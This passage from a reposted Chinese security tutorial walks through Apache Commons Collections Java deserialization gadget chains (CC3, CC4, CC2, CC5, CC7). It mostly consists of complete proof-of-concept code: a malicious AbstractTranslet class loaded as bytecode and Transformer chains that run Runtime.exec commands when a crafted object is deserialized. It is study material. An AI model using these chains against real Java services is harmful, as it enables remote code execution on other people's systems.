Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");

//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
templates.newTransformer();

}

这里并没有弹出计算器,反而触发了空指针报错,我们调试后确定报错位置如下

JAVA反序列化—CC链的前世今生

这里的第一个if检测了_class的父类名是否为ABSTRACT_TRANSLET,如果不是则进入else,继而触发空指针异常,此时我们有两种方法,一是给它的父类赋值为ABSTRACT_TRANSLET,二是给_auxCLasses赋值,让他调用put方法不报错,但我们注意到这样的话第二个if也还是会异常,因此我们只能给它的父类赋值了,接下来我们跟进

private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

发现是这个类,因此我们直接在恶意类中继承,同时实现必要的方法即可,修改后的恶意类如下

public class Calc extends AbstractTranslet{
static{
try {
Runtime.getRuntime().exec("open -na Calculator");
} catch (IOException e) {
throw new RuntimeException(e);
}

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

生成Test.Class后再重新进行导入,此时再去运行

JAVA反序列化—CC链的前世今生

接下来的问题就来到了如何触发templates.newTransformer(),此时可以同CC1,利用InvokeTransform,具体如下

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});

后面就直接贴CC1了,跟他一致

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"qwq");

//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates,codes);

Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates,new TransformerFactoryImpl());
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});
HashMap hashMap = new HashMap();
hashMap.put("value","v");
Map<Object,Object> transformMap= TransformedMap.decorate(hashMap,null,chainedTransformer);
Class annotationInvocationHandler =Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(Retention.class,transformMap);
serialize(o);
unserialize("ser.bin");
}

CC3链2(InvokeTransform被ban)

我们上个链中后半段是接着CC1的直接使用了,但如果InvokeTransform被ban时,我们就无法再使用了,为了解决这个问题,CC3的作者找到了另一个链,我们跟着进行分析一下。

回到刚刚,具体是templates.newTransformer()这里,我们需要找谁能调用newTransformer()方法,这里查找后最终确定在com/sun/org/apache/xalan/internal/xsltc/trax/TrAXFilter.java文件,但这个类没有序列化接口,也就是说我们不能通过反射修改它的值,但一般构造函数可能能够控制变量值,我们这里看一下构造函数

public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

这里发现可以通过构造函数来控制templates的值,所以接下来需要找谁可以调用这个构造函数,最终确定为InstantiateTransformer类,它的构造函数和transform可以调用一个对象指定参数的构造函数

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
try {
if (!(input instanceof Class)) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName()));
} else {
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}

所以下面两行代码就可以执行newTransform辣

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);

简单解释一下,虽然TrAXFilter不能序列化,但TrAXFilter.class可序列化,同时InstantiateTransformer接收的是class对象,所以就这样调用啦,然后就是实例化TrAXFilter,调用它的构造函数时赋值templatestemplates变量,此时就执行了newTransform

接下来再用ChainedTransform进行包裹就好了

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "qwq");

//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates, new TransformerFactoryImpl());
//templates.newTransformer();
//InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//instantiateTransformer.transform(TrAXFilter.class);
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap map = new HashMap();
map.put("value","v");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerconstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerconstructor.setAccessible(true);
Object o = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}

JAVA反序列化—CC链的前世今生

CC4

TransformingComprator这个类在之前是不可序列化的,而在CC4这个版本中变为了可序列化,即继承了serializeable接口,所以这里就有了CC4的反序列化利用链。具体过程如下

这里我们从ChainedTransformer.transform入手,找哪里调用了transform方法,然后定位到了TransformingCompratorcompare方法,具体代码如下

public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

接下来再看谁调用了TransformingComprator.compare方法,而后定位到java的util原生类下的PriorityQueuesiftDownComparable方法JAVA反序列化—CC链的前世今生

同时,就在此方法之上,siftDown调用了该方法,因此我们接下来看哪里调用了siftDown,还是在本类中,有一个heapify()调用了此方法

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

而后发现本来的readObject调用了heapify()方法JAVA反序列化—CC链的前世今生

至此,整个链子的流程就走完了,接下来就可以写Poc了

这里需要注意的是heapify的for循环

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

要想执行siftDown,我们至少得让i=2,而且如果一开始就进入的话未反序列化就已经触发命令执行了,所以需要先修改为错误的值,再用反射改回来,最终Poc如下

package CCtest;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4test {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
//调用反射修改_name的值
Class cls = templates.getClass();
Field name = cls.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "qwq");

//调用反射修改_bytecodes的值
Field bytecodes = cls.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);

Field tfactoryfield = cls.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates, new TransformerFactoryImpl());
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);

Class c = transformingComparator.getClass();
Field transformedField = c.getDeclaredField("transformer");
transformedField.setAccessible(true);
transformedField.set(transformingComparator, chainedTransformer);

serialize(priorityQueue);
unserialize("ser.bin");


}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

JAVA反序列化—CC链的前世今生

CC2

与CC4不同的是,这里后续并未使用TraxFilter.class,而是通过调用InvokerTransformer.transform直接调用TemplatesImpl.newTransformer,同时,这里直接使用add将templates放入,不再使用ConstantTransformer,具体如下

public static void main(String[]args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class cc = templates.getClass();

Field nameField = cc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"quan9i");

Field bytecodesField = cc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://java测试//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates,codes);

InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer("1"));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);
//serialize(priorityQueue);
unserialize("ser.bin");
}

JAVA反序列化—CC链的前世今生

CC5

CC5出发点是BadAttributeValueExpExceptionlreadObject,这个方法里调用了toString()方法

JAVA反序列化—CC链的前世今生

TiedMapEntry下是有toString方法的,具体如下

@Override
public String toString() {
return getKey() + "=" + getValue();
}

它会调用TiedMapEntrygetvalue方法,getvalue再调用Lazymap中的get方法,后续与CC1一致

package CCtest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5test {
public static void main(String[] args) throws Exception {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
});
HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class BAVE = Class.forName("javax.management.BadAttributeValueExpException");
Field BAVEF = BAVE.getDeclaredField("val");
BAVEF.setAccessible(true);
BAVEF.set(badAttributeValueExpException,tiedMapEntry);

serialize(badAttributeValueExpException);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
}

JAVA反序列化—CC链的前世今生

CC7

这里的入口点是HashTablereadObject方法,然后调用了equals方法,此时控制值即可来到AbstractMap.equals,然后又调用了get方法,操控值即可到达LazyMay.get,后续同之前。

原文来自: freebuf.com

原文链接: https://www.freebuf.com/articles/web/377910.html

欢迎收藏并分享朋友圈,让五邑人网络更安全

JAVA反序列化—CC链的前世今生

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!

推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月13日01:26:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA反序列化—CC链的前世今生https://cn-sec.com/archives/2074744.html

发表评论

匿名网友 填写信息